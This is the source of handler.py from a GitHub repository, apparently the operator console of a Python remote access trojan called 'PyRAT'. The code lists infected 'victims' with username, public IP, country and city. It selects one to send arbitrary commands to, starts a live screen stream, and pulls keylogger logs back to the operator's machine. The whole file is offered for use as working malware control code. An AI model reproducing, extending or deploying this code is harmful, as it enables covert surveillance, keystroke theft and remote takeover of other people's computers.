-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhandler.py
More file actions
90 lines (70 loc) · 2.98 KB
/
Copy pathhandler.py
File metadata and controls
90 lines (70 loc) · 2.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from threading import Thread
from stream.stream import Stream
from server import Server
from keylogger import get_send_log
from cfg import cfg
class Handler:
def __init__(self):
self.victim_index = None # Current victim index ( All victims stored in Server.victims )
def handle(self, srv: Server):
while True:
if not srv.victims:
continue
try:
victim = ''
if self.victim_index is not None:
info = srv.victims[self.victim_index].info
victim = f'[{info['username']}@{info['public_ip']}] '
command = input(f'{victim}PyRAT> ')
except EOFError:
srv.stop()
break
if not command:
continue
if command.split()[0] == 'exit':
if self.victim_index is not None:
self.victim_index = None
print('Exited...')
else:
print('You\'re already exited')
elif self.victim_index is not None:
try:
if command == 'stream':
srv.send_to_victim(self.victim_index, command)
stream = Stream()
thread = Thread(target=stream.receive,
args=[cfg.local_ip, cfg.local_data_port])
thread.start()
continue
elif command == 'log':
srv.send_to_victim(self.victim_index, command)
log = get_send_log.Log()
thread = Thread(target=log.get_log,
args=[srv.victims[self.victim_index].info, cfg.local_ip, cfg.local_data_port])
thread.start()
continue
else:
srv.send_to_victim(self.victim_index, command)
ans = srv.get_from_victim(self.victim_index)
if ans.strip():
print(ans)
except ConnectionError as e:
print(e)
continue
elif command == 'victims':
for i in range(len(srv.victims)):
info = srv.victims[i].info
print(f'[{i}]: {info['username']}@{info['public_ip']} {info['country']} {info['city']}')
elif command.split()[0] == 'use':
try:
self.victim_index = int(command.split()[1])
except IndexError:
print('Victim not found!')
elif command.split()[0] == 'info':
try:
index = int(command.split()[1])
print(srv.victims[index].info)
except IndexError:
print('Victim not found!')
else:
print('Unknown command!')